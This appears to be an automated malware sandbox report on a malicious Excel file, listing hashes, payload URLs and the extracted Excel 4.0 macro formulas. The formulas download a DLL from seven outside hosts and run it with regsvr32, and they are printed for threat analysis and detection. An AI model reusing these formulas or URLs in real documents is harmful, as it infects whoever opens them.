General
-
Target
9f3792dda5bf1752ce0d2b97f110e12f16559a5a81b0295eb121510301ffff6c
-
Size
20KB
-
MD5
24f60b9c1868193515db85e4131f9ede
-
SHA1
4a3e643badb408ed1e918cf7a86ebba24f389aa5
-
SHA256
9f3792dda5bf1752ce0d2b97f110e12f16559a5a81b0295eb121510301ffff6c
-
SHA512
52a23e3072f989f122f2be17dda8b93afd1b57914ad3a0f75302791c995f8f6d207de0eda246e84aae4689b482c21e5a2890095e1093dc384122c68d7d1a6684
-
SSDEEP
384:15Jm7qVb1GNjyo4CGzPd6ZIwBKb5CzgObff9kC+xbX7Qi9rc5:15J7IN+o4FLNCBn9kC+xbLQf
Malware Config
Extracted
https://benconry.com/wp-includes/eUXuRrm1G6bRZ/
http://actividades.laforetlanguages.com/wp-admin/PXMxDnqZrr/
http://atbiotique.com/images/ESistuSH6DbQFkxTz/
http://www.atelierkikala.com/Facebook/2pfL2EhoN9MusmXv/
http://automotorahorizonte.uy/wp-snapshots/r1G/
https://bencevendeghaz.hu/wp-includes/ob9w4byJ85B/
http://speziale.it/cache/vcVndjk/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://benconry.com/wp-includes/eUXuRrm1G6bRZ/","..\kytk.dll",0,0) =IF('SCWVCV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://actividades.laforetlanguages.com/wp-admin/PXMxDnqZrr/","..\kytk.dll",0,0)) =IF('SCWVCV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://atbiotique.com/images/ESistuSH6DbQFkxTz/","..\kytk.dll",0,0)) =IF('SCWVCV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.atelierkikala.com/Facebook/2pfL2EhoN9MusmXv/","..\kytk.dll",0,0)) =IF('SCWVCV'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://automotorahorizonte.uy/wp-snapshots/r1G/","..\kytk.dll",0,0)) =IF('SCWVCV'!D22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://bencevendeghaz.hu/wp-includes/ob9w4byJ85B/","..\kytk.dll",0,0)) =IF('SCWVCV'!D24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://speziale.it/cache/vcVndjk/","..\kytk.dll",0,0)) =IF('SCWVCV'!D26<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\kytk.dll") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
9f3792dda5bf1752ce0d2b97f110e12f16559a5a81b0295eb121510301ffff6c